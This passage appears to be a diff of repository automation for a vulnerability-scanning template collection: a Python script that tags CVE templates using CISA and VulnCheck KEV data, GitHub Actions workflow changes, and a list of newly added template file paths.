print("Fetching CISA KEV catalog...")
response = requests.get(CISA_KEV_JSON_URL, timeout=TIMEOUT)
response.raise_for_status()
data = response.json()
if 'vulnerabilities' in data:
for vuln in data['vulnerabilities']:
if 'cveID' in vuln:
kev_cves.add(vuln['cveID'].upper())
print(f"Retrieved {len(kev_cves)} CVEs from CISA KEV catalog")
break
else:
print("Invalid CISA KEV data format")
except requests.RequestException as e:
print(f"CISA KEV fetch failed (attempt {attempt + 1}/{MAX_RETRIES}): {e}")
if attempt == MAX_RETRIES - 1:
print("Failed to fetch CISA KEV data")
else:
time.sleep(2 * (attempt + 1))
except Exception as e:
print(f"Unexpected error fetching CISA KEV: {e}")
break
return kev_cves
def fetch_vulncheck_kev_data(self) -> Set[str]:
"""Fetch VulnCheck KEV catalog and return set of CVE IDs."""
if not self.vulncheck_api_key:
print("VulnCheck API key not available, skipping vKEV data fetch")
return set()
vkev_cves = set()
page = 1
total_pages = None
pages_fetched = 0
print("Fetching VulnCheck KEV catalog...")
while True:
for attempt in range(MAX_RETRIES):
try:
headers = {
'Authorization': f'Bearer {self.vulncheck_api_key}',
'Accept': 'application/json'
}
params = {
'limit': VULNCHECK_PAGE_SIZE,
'page': page
}
response = requests.get(VULNCHECK_KEV_API_URL, headers=headers, params=params, timeout=TIMEOUT)
response.raise_for_status()
data = response.json()
if 'data' in data and data['data']:
for entry in data['data']:
if 'cve' in entry and entry['cve']:
for cve_id in entry['cve']:
if cve_id and cve_id.startswith('CVE-'):
vkev_cves.add(cve_id.upper())
# Check pagination info
meta = data.get('_meta', {})
total_pages = meta.get('total_pages', 0)
current_page = meta.get('page', page)
pages_fetched += 1
print(f"Fetched page {current_page}/{total_pages} ({len(data['data'])} entries, {len(vkev_cves)} unique CVEs so far)")
# Check if we've reached the last page
if current_page >= total_pages:
print(f"Completed fetching all {pages_fetched} pages")
return vkev_cves
# Rate limiting: small delay between requests to avoid hitting API limits
if pages_fetched % 10 == 0: # Every 10 pages, longer delay
print(f"Pausing for rate limiting after {pages_fetched} pages...")
time.sleep(2)
else:
time.sleep(0.5) # Small delay between requests
page += 1
break # Break retry loop, continue to next page
else:
print("No more VulnCheck KEV data")
return vkev_cves
except requests.RequestException as e:
print(f"VulnCheck KEV fetch failed (attempt {attempt + 1}/{MAX_RETRIES}, page {page}): {e}")
if attempt == MAX_RETRIES - 1:
print(f"Failed to fetch VulnCheck KEV data for page {page}")
return vkev_cves # Return what we have so far
else:
# Exponential backoff with rate limiting consideration
delay = min(10, 2 * (attempt + 1))
print(f"Retrying after {delay} seconds...")
time.sleep(delay)
except Exception as e:
print(f"Unexpected error fetching VulnCheck KEV: {e}")
return vkev_cves # Return what we have so far
print(f"Retrieved {len(vkev_cves)} CVEs from VulnCheck KEV catalog")
return vkev_cves
def has_tag(self, content: str, tag: str) -> bool:
"""Check if template already has specific tag in tags field."""
# Look for tags field and check if tag is present
tags_match = re.search(r'tags:\s*([^\n]+)', content)
if tags_match:
tags_str = tags_match.group(1)
# Check for tag as a standalone tag (not part of another word)
if re.search(rf'\b{tag}\b', tags_str, re.IGNORECASE):
return True
return False
def add_tag(self, content: str, tag: str) -> tuple[str, bool]:
"""Add tag to the tags field. Returns (updated_content, was_updated)."""
if self.has_tag(content, tag):
return content, False
# Find the tags field
tags_match = re.search(r'(\s*tags:\s*)([^\n]+)', content)
if tags_match:
indent = tags_match.group(1)
existing_tags = tags_match.group(2).rstrip()
# Add tag at the end
new_tags = existing_tags + f',{tag}'
new_line = f"{indent}{new_tags}"
updated_content = content.replace(tags_match.group(0), new_line)
return updated_content, True
else:
print(f"Warning: No tags field found to add {tag} tag")
return content, False
def remove_tag(self, content: str, tag: str) -> tuple[str, bool]:
"""Remove tag from the tags field. Returns (updated_content, was_updated)."""
if not self.has_tag(content, tag):
return content, False
# Find and update tags field
tags_match = re.search(r'(\s*tags:\s*)([^\n]+)', content)
if tags_match:
indent = tags_match.group(1)
existing_tags = tags_match.group(2)
# Remove tag in various positions
new_tags = existing_tags
# Remove ,tag or tag, patterns
new_tags = re.sub(rf',\s*{tag}\b', '', new_tags)
new_tags = re.sub(rf'\b{tag}\s*,', '', new_tags)
new_tags = re.sub(rf'^\s*{tag}\s*$', '', new_tags) # tag is only tag
new_tags = re.sub(rf'^\s*{tag}\s*,\s*', '', new_tags) # tag is first tag
if new_tags != existing_tags:
new_line = f"{indent}{new_tags}"
updated_content = content.replace(tags_match.group(0), new_line)
return updated_content, True
return content, False
def update_template_tags(self, file_path: Path, cve_id: str, is_cisa_kev: bool, is_vulncheck_kev: bool) -> bool:
"""Update a template file with KEV and vKEV tags."""
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
original_content = content
updated = False
# Handle CISA KEV tag
if is_cisa_kev:
# Add kev tag if missing
content, tag_added = self.add_tag(content, 'kev')
if tag_added:
print(f"Added kev tag to {file_path.name}")
updated = True
else:
# Remove kev tag if present but CVE is not in CISA KEV catalog
if self.has_tag(content, 'kev'):
# Only remove if we're confident about our KEV data
if len(self.cisa_kev_cves) > 1000: # Sanity check
content, tag_removed = self.remove_tag(content, 'kev')
if tag_removed:
print(f"Removed kev tag from {file_path.name} (no longer in CISA KEV catalog)")
updated = True
else:
print(f"Warning: {cve_id} has kev tag but not in current CISA KEV catalog (keeping tag)")
# Handle VulnCheck KEV tag
if is_vulncheck_kev:
# Add vkev tag if missing
content, tag_added = self.add_tag(content, 'vkev')
if tag_added:
print(f"Added vkev tag to {file_path.name}")
updated = True
else:
# Remove vkev tag if present but CVE is not in VulnCheck KEV catalog
if self.has_tag(content, 'vkev') and len(self.vulncheck_kev_cves) > 100: # Sanity check
content, tag_removed = self.remove_tag(content, 'vkev')
if tag_removed:
print(f"Removed vkev tag from {file_path.name} (no longer in VulnCheck KEV catalog)")
updated = True
# Write updated content if changes were made
if updated:
with open(file_path, 'w', encoding='utf-8') as f:
f.write(content)
return True
return False
except Exception as e:
print(f"Error updating {file_path}: {e}")
self.error_count += 1
return False
def run(self):
"""Main execution function."""
print("Starting enhanced KEV/vKEV tagging update...")
# Fetch KEV data
self.cisa_kev_cves = self.fetch_cisa_kev_data()
self.vulncheck_kev_cves = self.fetch_vulncheck_kev_data()
if not self.cisa_kev_cves and not self.vulncheck_kev_cves:
print("No KEV data available, exiting")
return
# Find all CVE templates
template_files = self.find_cve_templates()
print(f"Found {len(template_files)} CVE template files")
if not template_files:
print("No CVE templates found!")
return
# Process templates
cisa_kev_found = 0
vulncheck_kev_found = 0
both_kev_found = 0
for file_path in template_files:
cve_id = self.extract_cve_id(file_path)
if cve_id:
is_cisa_kev = cve_id in self.cisa_kev_cves
is_vulncheck_kev = cve_id in self.vulncheck_kev_cves
if is_cisa_kev:
cisa_kev_found += 1
if is_vulncheck_kev:
vulncheck_kev_found += 1
if is_cisa_kev and is_vulncheck_kev:
both_kev_found += 1
if self.update_template_tags(file_path, cve_id, is_cisa_kev, is_vulncheck_kev):
self.updated_count += 1
else:
print(f"Could not extract CVE ID from {file_path}")
print(f"\nEnhanced KEV/vKEV update complete!")
print(f"Templates updated: {self.updated_count}")
print(f"CISA KEV CVEs found in templates: {cisa_kev_found}")
print(f"VulnCheck KEV CVEs found in templates: {vulncheck_kev_found}")
print(f"CVEs in both CISA and VulnCheck KEV: {both_kev_found}")
print(f"CISA KEV catalog size: {len(self.cisa_kev_cves)}")
print(f"VulnCheck KEV catalog size: {len(self.vulncheck_kev_cves)}")
print(f"Errors: {self.error_count}")
def main():
"""Main entry point."""
if len(sys.argv) > 1:
root_dir = sys.argv[1]
else:
root_dir = os.getcwd()
updater = EnhancedKEVUpdater(root_dir)
updater.run()
if __name__ == "__main__":
main()
-50
View File
@@ -1,7 +1,6 @@
#!/usr/bin/env python3
import glob
import subprocess
import re
def countTpl(path):
return len(glob.glob(path + "/*.*"))
@@ -14,60 +13,11 @@ def get_top10():
TOP10 = command(["cat", "TOP-10.md"])
return HEADER + TOP10 if len(TOP10) > 0 else ""
def get_kev_stats():
"""Get KEV and vKEV statistics by running the count-kev-stats.py script."""
try:
result = subprocess.run(
["python3", ".github/scripts/count-kev-stats.py"],
text=True,
capture_output=True,
timeout=120
)
# Parse the output
stats = {}
for line in result.stdout.strip().split('\n'):
if '=' in line:
key, value = line.split('=')
stats[key.lower()] = int(value)
return stats
except Exception as e:
print(f"Error getting KEV stats: {e}")
return {
'kev_total': 0,
'vkev_total': 0,
'both': 0,
'kev_only': 0,
'vkev_only': 0,
'total_templates': 0
}
if __name__ == "__main__":
version = command(["git", "describe", "--tags", "--abbrev=0"])
kev_stats = get_kev_stats()
template = eval(open(".github/scripts/README.tmpl", "r").read())
print(template)
# Update main README.md
f = open("README.md", "w")
f.write(template)
f.close()
# Update localized README files with their respective templates
localized_files = {
"README_CN.md": ".github/scripts/README_CN.tmpl",
"README_JA.md": ".github/scripts/README_JA.tmpl",
"README_KR.md": ".github/scripts/README_KR.tmpl"
}
for readme_file, template_file in localized_files.items():
try:
localized_template = eval(open(template_file, "r").read())
f = open(readme_file, "w")
f.write(localized_template)
f.close()
except FileNotFoundError:
print(f"Template {template_file} not found, skipping {readme_file}")
continue
+18 -156
View File
@@ -1,164 +1,26 @@
name: Auto-assign on open
name: 🤖 issue/pr assignment
on:
pull_request:
types: [opened]
branches:
- main
issues:
types: [opened, reopened]
# Use pull_request_target so the job has permissions on PRs from forks.
pull_request_target:
types: [opened, ready_for_review, reopened]
types: [opened]
permissions:
contents: read
issues: write
pull-requests: write
concurrency:
group: auto-assign-on-open
cancel-in-progress: false
env:
ASSIGN_TASK_TOKEN: ${{ secrets.PDTEAMX_PAT }} # github personal token
jobs:
assign:
build:
permissions: write-all
runs-on: ubuntu-latest
steps:
- uses: actions/github-script@v8
- uses: actions/checkout@v4 # checkout the repository content
- uses: actions/setup-python@v5
with:
script: |
const ORG = context.repo.owner;
const REPO = context.repo.repo;
// ======= CONFIG: put your user pools here =======
// Usernames must be GitHub logins and collaborators on this repo.
const ISSUE_ASSIGNEES = [
"pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
];
const REVIEW_POOL = [
"pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
];
const LOOKBACK_DAYS = 7; // only used as a tie-break fairness metric
// ================================================
function toLowerAll(xs){ return xs.map(x => x.toLowerCase()); }
const issuePool = new Set(toLowerAll(ISSUE_ASSIGNEES));
const reviewPool = new Set(toLowerAll(REVIEW_POOL));
const sinceISO = new Date(Date.now() - LOOKBACK_DAYS*24*60*60*1000).toISOString();
// Simple "least recent then fewest in lookback" picker
function initMap(arr){ const m=new Map(); for(const a of arr) m.set(a,0); return m; }
const issueCounts = initMap(issuePool);
const prAssigneeCounts = initMap(reviewPool);
const prReviewerCounts = initMap(reviewPool);
const lastIssueAssign = new Map();
const lastPrAssignee = new Map();
const lastPrReviewer = new Map();
function pick(countsMap, lastMap, exclude=new Set()){
const cands = [...countsMap.keys()].filter(x => !exclude.has(x));
if (!cands.length) return null;
cands.sort((a,b)=>{
const ca=countsMap.get(a)||0, cb=countsMap.get(b)||0;
if (ca!==cb) return ca-cb;
const ta=lastMap.get(a)?.getTime()||0, tb=lastMap.get(b)?.getTime()||0;
if (ta!==tb) return ta-tb;
return a.localeCompare(b);
});
return cands[0];
}
async function buildIssueStats(){
for await (const page of github.paginate.iterator(
github.rest.issues.listForRepo,
{ owner: ORG, repo: REPO, state: 'all', since: sinceISO, per_page: 100 }
)){
for (const it of page.data){
if (it.pull_request) continue;
const ts = new Date(it.created_at);
if (ts < new Date(sinceISO)) continue;
for (const a of (it.assignees||[])){
const l=a.login.toLowerCase();
if (issuePool.has(l)){
issueCounts.set(l,(issueCounts.get(l)||0)+1);
const lastTs = lastIssueAssign.get(l);
if (!lastTs || ts > lastTs) lastIssueAssign.set(l, ts);
}
}
}
}
}
async function buildPrStats(){
for await (const page of github.paginate.iterator(
github.rest.pulls.list,
{ owner: ORG, repo: REPO, state: 'all', per_page: 100 }
)){
for (const pr of page.data){
const ts = new Date(pr.created_at);
if (ts < new Date(sinceISO)) continue;
// Count all assignees (plural)
for (const a of (pr.assignees||[])){
const l = a.login.toLowerCase();
if (reviewPool.has(l)){
prAssigneeCounts.set(l,(prAssigneeCounts.get(l)||0)+1);
const lastTs = lastPrAssignee.get(l);
if (!lastTs || ts > lastTs) lastPrAssignee.set(l, ts);
}
}
// Count all reviewers separately
for (const r of (pr.requested_reviewers||[])){
const l=r.login.toLowerCase();
if (reviewPool.has(l)){
prReviewerCounts.set(l,(prReviewerCounts.get(l)||0)+1);
const lastTs = lastPrReviewer.get(l);
if (!lastTs || ts > lastTs) lastPrReviewer.set(l, ts);
}
}
}
}
}
// Build stats once per run (cheap enough for small repos)
await Promise.all([buildIssueStats(), buildPrStats()]);
// Determine context
if (context.eventName === 'issues') {
const issue = context.payload.issue;
if (issue.pull_request) return; // guard
if ((issue.assignees||[]).length>0) return;
const pickee = pick(issueCounts, lastIssueAssign);
if (!pickee) return;
await github.rest.issues.addAssignees({
owner: ORG, repo: REPO, issue_number: issue.number, assignees: [pickee]
});
} else if (context.eventName === 'pull_request_target') {
const pr = context.payload.pull_request;
const prNum = pr.number;
const author = (pr.user?.login||"").toLowerCase();
const assignee = pr.assignee?.login?.toLowerCase();
// Ensure one assignee (use assignee counts only)
let finalAssignee = assignee;
if (!finalAssignee) {
const a = pick(prAssigneeCounts, lastPrAssignee, new Set([author]));
if (a) {
await github.rest.issues.addAssignees({
owner: ORG, repo: REPO, issue_number: prNum, assignees: [a]
});
finalAssignee = a;
}
}
// One reviewer, not the author, not the assignee (use reviewer counts only)
const already = new Set((pr.requested_reviewers||[]).map(x=>x.login.toLowerCase()));
if (already.size === 0 && !pr.draft) {
const exclude = new Set([author, finalAssignee].filter(Boolean));
const reviewer = pick(prReviewerCounts, lastPrReviewer, exclude);
if (reviewer) {
await github.rest.pulls.requestReviewers({
owner: ORG, repo: REPO, pull_number: prNum, reviewers: [reviewer]
});
}
}
}
python-version: '3.10' # install the python version needed
- run: pip install requests
- if: github.event_name == 'pull_request'
run: python .github/scripts/assign_tasks.py ${{ github.event.pull_request.number }} pr ${{ secrets.GITHUB_TOKEN }}
- if: github.event_name == 'issues'
run: python .github/scripts/assign_tasks.py ${{ github.event.issue.number }} issue ${{ secrets.GITHUB_TOKEN }}
-62
View File
@@ -1,62 +0,0 @@
name: 🔧 CVE Enhancement
on:
push:
branches:
- main
paths:
- '**/cves/**/*.yaml'
workflow_dispatch:
jobs:
enhance:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
permissions:
contents: write
steps:
- uses: actions/checkout@v7
with:
fetch-depth: 0
- name: Setup Python
uses: actions/setup-python@v6
with:
python-version: '3.11'
- name: Install dependencies
run: pip install requests
- name: Get changed CVE files
id: files
run: |
# Get files changed in the last commit
FILES=$(git diff --name-only HEAD~1 HEAD | grep 'cves/.*\.yaml$' || echo "")
if [ -n "$FILES" ]; then
echo "changed=true" >> $GITHUB_OUTPUT
echo "$FILES" > /tmp/cve_files.txt
echo "Changed CVE files:"
cat /tmp/cve_files.txt
else
echo "changed=false" >> $GITHUB_OUTPUT
fi
- name: Enhance CVE templates
if: steps.files.outputs.changed == 'true'
run: |
while read file; do
[ -f "$file" ] && python .github/scripts/enhance-cve-fields.py "$file"
done < /tmp/cve_files.txt
- name: Commit changes
if: steps.files.outputs.changed == 'true'
run: |
if ! git diff --quiet; then
git config user.name "github-actions[bot]"
git config user.email "github-actions[bot]@users.noreply.github.com"
git add -A
git commit -m "chore: add impact and remediation fields 🤖"
git pull origin $GITHUB_REF --rebase
git push origin $GITHUB_REF
fi
+1 -1
View File
@@ -13,7 +13,7 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v7
- uses: actions/checkout@v4
- uses: projectdiscovery/actions/setup/go@v1
with:
go-version: 'stable'
-53
View File
@@ -1,53 +0,0 @@
name: 📊 EPSS Score Update
on:
schedule:
# Run daily at 2:00 AM UTC
- cron: '0 2 * * *'
workflow_dispatch:
jobs:
update-epss:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- name: Checkout repository
uses: actions/checkout@v7
- name: Setup Python
uses: actions/setup-python@v6
with:
python-version: '3.11'
- name: Install dependencies
run: |
pip install requests pyyaml
- name: Update EPSS scores
run: python .github/scripts/update-epss.py
- name: Check for changes
id: changes
run: |
if git diff --quiet; then
echo "changes=false" >> $GITHUB_OUTPUT
else
echo "changes=true" >> $GITHUB_OUTPUT
fi
- name: Setup Git
if: steps.changes.outputs.changes == 'true'
uses: projectdiscovery/actions/setup/git@v1
- name: Commit changes
if: steps.changes.outputs.changes == 'true'
uses: projectdiscovery/actions/commit@v1
with:
files: '**/cves/**/*.yaml'
message: 'chore: update EPSS scores 🤖'
- name: Push changes
if: steps.changes.outputs.changes == 'true'
run: |
git pull origin $GITHUB_REF --rebase
git push origin $GITHUB_REF
-56
View File
@@ -1,56 +0,0 @@
name: 📋 KEV & vKEV Tag Update
on:
schedule:
# Run daily at 3:00 AM UTC (1 hour after EPSS update)
- cron: '0 3 * * *'
workflow_dispatch:
jobs:
update-kev:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- name: Checkout repository
uses: actions/checkout@v7
- name: Setup Python
uses: actions/setup-python@v6
with:
python-version: '3.11'
- name: Install dependencies
run: |
pip install requests pyyaml
- name: Update KEV and vKEV tags
run: python .github/scripts/update-kev.py
env:
# VulnCheck API key for enhanced vKEV data
VULNCHECK_API_KEY: ${{ secrets.VULNCHECK_API_KEY }}
- name: Check for changes
id: changes
run: |
if git diff --quiet; then
echo "changes=false" >> $GITHUB_OUTPUT
else
echo "changes=true" >> $GITHUB_OUTPUT
fi
- name: Setup Git
if: steps.changes.outputs.changes == 'true'
uses: projectdiscovery/actions/setup/git@v1
- name: Commit changes
if: steps.changes.outputs.changes == 'true'
uses: projectdiscovery/actions/commit@v1
with:
files: '**/cves/**/*.yaml'
message: 'chore: update KEV and vKEV tags and metadata 🤖'
- name: Push changes
if: steps.changes.outputs.changes == 'true'
run: |
git pull origin $GITHUB_REF --rebase
git push origin $GITHUB_REF
+6 -1
View File
@@ -18,7 +18,7 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v7
- uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Generate new addition list
@@ -33,3 +33,8 @@ jobs:
- run: |
git pull origin $GITHUB_REF --rebase
git push origin $GITHUB_REF
sync:
needs: new-addition
uses: ./.github/workflows/templates-sync.yml
secrets: inherit
+4 -4
View File
@@ -2,7 +2,7 @@ name: 📝 Readme Update
on:
workflow_run:
workflows: ["🗒 Templates Stats", "📋 KEV & vKEV Tag Update"]
workflows: ["🗒 Templates Stats"]
types:
- completed
workflow_dispatch:
@@ -13,14 +13,14 @@ jobs:
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- run: sudo apt-get install tree -y
- uses: actions/checkout@v7
- uses: actions/setup-python@v6
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: "3.8"
- run: python .github/scripts/update-readme.py
- uses: projectdiscovery/actions/setup/git@v1
- uses: projectdiscovery/actions/commit@v1
with:
files: 'README.md README_*.md'
files: 'README.md'
message: 'docs: update README 🤖'
- run: git push origin $GITHUB_REF
+3 -18
View File
@@ -1,21 +1,11 @@
name: 📝 Template Checksum
on:
# For YAML changes: wait for signing to complete first, then checksum
workflow_run:
workflows:
- "☑️ Template Sign"
types:
- completed
branches:
- main
# For non-YAML changes: trigger directly (signing doesn't run for these)
push:
branches:
- main
paths-ignore:
paths:
- '**.yaml'
- 'templates-checksum.txt'
workflow_dispatch:
env:
@@ -24,14 +14,9 @@ env:
jobs:
checksum:
runs-on: ubuntu-latest
if: >
github.repository == 'projectdiscovery/nuclei-templates' && (
github.event_name == 'workflow_dispatch' ||
github.event_name == 'push' ||
github.event.workflow_run.conclusion == 'success'
)
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v7
- uses: actions/checkout@v4
- uses: projectdiscovery/actions/generate/checksum@v1
with:
templates-directory: '${{ github.workspace }}'
+21
View File
@@ -0,0 +1,21 @@
name: 📑 Template-DB Indexer
on:
push:
tags:
- '*'
workflow_dispatch:
jobs:
index:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: projectdiscovery/actions/generate/db-indexer@v1
with:
token: '${{ secrets.ACCESS_TOKEN }}'
mode: 'templates'
args: '-eft'
env:
AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}
AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_KEY }}
+14 -7
View File
@@ -14,10 +14,10 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v7
- uses: projectdiscovery/nuclei-action@v3
- uses: actions/checkout@v4
- uses: projectdiscovery/actions/setup/nuclei@v1
with:
install-only: true
token: '${{ secrets.GITHUB_TOKEN}}'
- run: nuclei -lfa -duc -sign -ud $GITHUB_WORKSPACE -t .
env:
NUCLEI_USER_CERTIFICATE: ${{ secrets.NUCLEI_USER_CERTIFICATE }}
@@ -38,11 +38,18 @@ jobs:
runs-on: windows-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v7
- uses: projectdiscovery/nuclei-action@v3
- uses: actions/checkout@v4
- name: Set up Go
uses: actions/setup-go@v5
with:
install-only: true
go-version: '1.21'
- name: Install Nuclei
run: |
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
nuclei -version
shell: bash
- name: Sign Windows Templates
run: nuclei -lfa -duc -sign -ud "${{ github.workspace }}" -t "code/windows/audit"
+2 -2
View File
@@ -8,10 +8,10 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v7
- uses: actions/checkout@v4
- uses: projectdiscovery/actions/setup/templateman@v1
with:
token: '${{ secrets.PDTEAMX_CLASSIC_PAT }}'
token: '${{ secrets.ACCESS_TOKEN }}'
- run: tmc -mr -e -at <<< "$(pwd)"
- uses: projectdiscovery/actions/setup/git@v1
- uses: projectdiscovery/actions/commit@v1
+1 -1
View File
@@ -11,7 +11,7 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v7
- uses: actions/checkout@v4
with:
fetch-depth: 0
- uses: projectdiscovery/actions/templates/stats@v1
+64
View File
@@ -0,0 +1,64 @@
name: Sync Repositories Workflow
on:
push:
paths:
- '.new-additions'
- '.github/scripts/yaml2json/go.mod'
- '.github/scripts/yaml2json/go.sum'
- '.github/workflows/tests.yml'
- 'CVE-2024-7339.yaml'
- 'http/cves/2022/CVE-2022-27043.yaml'
- 'http/cves/2023/CVE-2023-43323.yaml'
- 'http/cves/2023/CVE-2023-44393.yaml'
- 'http/cves/2023/CVE-2023-5222.yaml'
- 'http/cves/2024/CVE-2024-24763.yaml'
- 'http/cves/2024/CVE-2024-34061.yaml'
- 'http/cves/2024/CVE-2024-36104.yaml'
- 'http/cves/2024/CVE-2024-38856.yaml'
- 'http/cves/2024/CVE-2024-39903.yaml'
- 'http/cves/2024/CVE-2024-39907.yaml'
- 'http/cves/2024/CVE-2024-40422.yaml'
- 'http/cves/2024/CVE-2024-41107.yaml'
- 'http/cves/2024/CVE-2024-41628.yaml'
- 'http/cves/2024/CVE-2024-5975.yaml'
- 'http/cves/2024/CVE-2024-6205.yaml'
- 'http/cves/2024/CVE-2024-6366.yaml'
- 'http/cves/2024/CVE-2024-6396.yaml'
- 'http/cves/2024/CVE-2024-6781.yaml'
- 'http/cves/2024/CVE-2024-6782.yaml'
- 'http/cves/2024/CVE-2024-6922.yaml'
- 'http/cves/2024/CVE-2024-7008.yaml'
- 'http/cves/2024/CVE-2024-7120.yaml'
- 'http/cves/2024/CVE-2024-7188.yaml'
- 'http/cves/2024/CVE-2024-7332.yaml'
- 'http/cves/2024/CVE-2024-7340.yaml'
- 'http/default-logins/apache/cloudstack-default-login.yaml'
- 'http/exposed-panels/airos-panel.yaml'
- 'http/exposed-panels/metube-panel.yaml'
- 'http/exposed-panels/openedge-panel.yaml'
- 'http/exposed-panels/whatsup-gold-panel.yaml'
- 'http/exposures/files/gitlab-ci-yml.yaml'
- 'http/misconfiguration/changedetection-unauth.yaml'
- 'http/misconfiguration/deployment-interface-exposed.yaml'
- 'http/misconfiguration/installer/quickcms-installer.yaml'
- 'http/misconfiguration/manage-cabinet-register.yaml'
- 'http/osint/user-enumeration/substack.yaml'
- 'http/technologies/apache/apache-ofbiz-detect.yaml'
- 'http/technologies/apache/apache-shenyu-detect.yaml'
- 'http/technologies/searxng-detect.yaml'
- 'http/vulnerabilities/esafenet/esafenet-netsecconfigajax-sqli.yaml'
- 'http/vulnerabilities/esafenet/esafenet-noticeajax-sqli.yaml'
- 'http/vulnerabilities/landray/landray-oa-replaceextend-rce.yaml'
- 'javascript/misconfiguration/x11/x11-unauth-access.yaml'
- 'javascript/udp/detection/db2-discover.yaml'
workflow_dispatch:
workflow_call:
jobs:
sync:
if: github.repository == 'projectdiscovery/nuclei-templates'
runs-on: ubuntu-latest
steps:
- uses: projectdiscovery/actions/templates/sync@v1
with:
token: ${{ secrets.GTOKEN }}
+11 -11
View File
@@ -11,7 +11,7 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v7
- uses: actions/checkout@v4
- uses: karancode/[email protected]
with:
yamllint_config_filepath: .yamllint
@@ -23,12 +23,12 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v7
- uses: projectdiscovery/nuclei-action@v3
- uses: actions/checkout@v4
- uses: projectdiscovery/actions/setup/nuclei@v1
with:
install-only: true
token: '${{ secrets.GITHUB_TOKEN }}'
- name: Validate templates
run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/ -ept code -et helpers/payloads/
run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/
weak-matcher-checks:
needs: lint
@@ -40,8 +40,8 @@ jobs:
env:
HONEYPOT_URL: 'http://honey.scanme.sh'
steps:
- uses: actions/checkout@v7
- uses: dorny/paths-filter@v4
- uses: actions/checkout@v4
- uses: dorny/paths-filter@v3
id: filter
with:
list-files: shell
@@ -52,16 +52,16 @@ jobs:
- '!.github/**'
changed:
- added|modified: *templates
- uses: projectdiscovery/nuclei-action@v3
- uses: projectdiscovery/actions/setup/nuclei@v1
with:
install-only: true
token: '${{ secrets.GITHUB_TOKEN }}'
- run: bash weak-matcher-checks.sh
id: check
if: steps.filter.outputs.changed == 'true'
env:
CHANGED_FILES: '${{ steps.filter.outputs.changed_files }}'
working-directory: '.github/scripts/'
- uses: actions/github-script@v8
- uses: actions/github-script@v7
if: steps.check.outputs.weak == 'true'
with:
script: |
@@ -80,4 +80,4 @@ jobs:
})
env:
COMMENT: '${{ steps.check.outputs.comment }}'
GITHUB_TOKEN: '${{ secrets.PDTEAMX_CLASSIC_PAT }}'
GITHUB_TOKEN: '${{ secrets.ACCESS_TOKEN }}'
@@ -10,10 +10,10 @@ jobs:
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- name: Check out repository code
uses: actions/checkout@v7
uses: actions/checkout@v4
- name: Install Python3
uses: actions/setup-python@v6
uses: actions/setup-python@v5
with:
python-version: "3.10"
+6
View File
@@ -0,0 +1,6 @@
.idea/
.DS_Store
local/
.checksum
.new-additions
*.txt
+65 -62
View File
@@ -1,62 +1,65 @@
dns/dns-internal-ip-disclosure.yaml
http/cves/2026/CVE-2026-10823.yaml
http/cves/2026/CVE-2026-13731.yaml
http/cves/2026/CVE-2026-1890.yaml
http/cves/2026/CVE-2026-22778.yaml
http/cves/2026/CVE-2026-28496.yaml
http/cves/2026/CVE-2026-30958.yaml
http/cves/2026/CVE-2026-34413.yaml
http/cves/2026/CVE-2026-48282.yaml
http/cves/2026/CVE-2026-48313.yaml
http/cves/2026/CVE-2026-48611.yaml
http/cves/2026/CVE-2026-52815.yaml
http/cves/2026/CVE-2026-56782.yaml
http/cves/2026/CVE-2026-8037.yaml
http/cves/2026/CVE-2026-8383.yaml
http/cves/2026/cve-2026-44381.yaml
http/default-logins/dahua/dahua-icc-default-login.yaml
http/exposed-panels/array-networks-ssl-vpn-panel.yaml
http/exposed-panels/aruba-via-vpn-panel.yaml
http/exposed-panels/cradlepoint-gateway-panel.yaml
http/exposed-panels/ctrlpanel-panel.yaml
http/exposed-panels/cyberoam-firewall-panel.yaml
http/exposed-panels/ddwrt-panel.yaml
http/exposed-panels/ecessa-panel.yaml
http/exposed-panels/elfiq-panel.yaml
http/exposed-panels/endian-firewall-panel.yaml
http/exposed-panels/featherpanel-panel.yaml
http/exposed-panels/firemon-asset-manager-panel.yaml
http/exposed-panels/fortinet-fortianalyzer-panel.yaml
http/exposed-panels/headscale-panel.yaml
http/exposed-panels/hillstone-ssl-vpn-panel.yaml
http/exposed-panels/jotty-page-login-panel.yaml
http/exposed-panels/netgate-pfsenseplus-panel.yaml
http/exposed-panels/netsweeper-webadmin-panel.yaml
http/exposed-panels/nuage-networks-vsp-panel.yaml
http/exposed-panels/ocserv-panel.yaml
http/exposed-panels/peplink-incontrol-panel.yaml
http/exposed-panels/sangfor-iam-panel.yaml
http/exposed-panels/sangfor-ngaf-panel.yaml
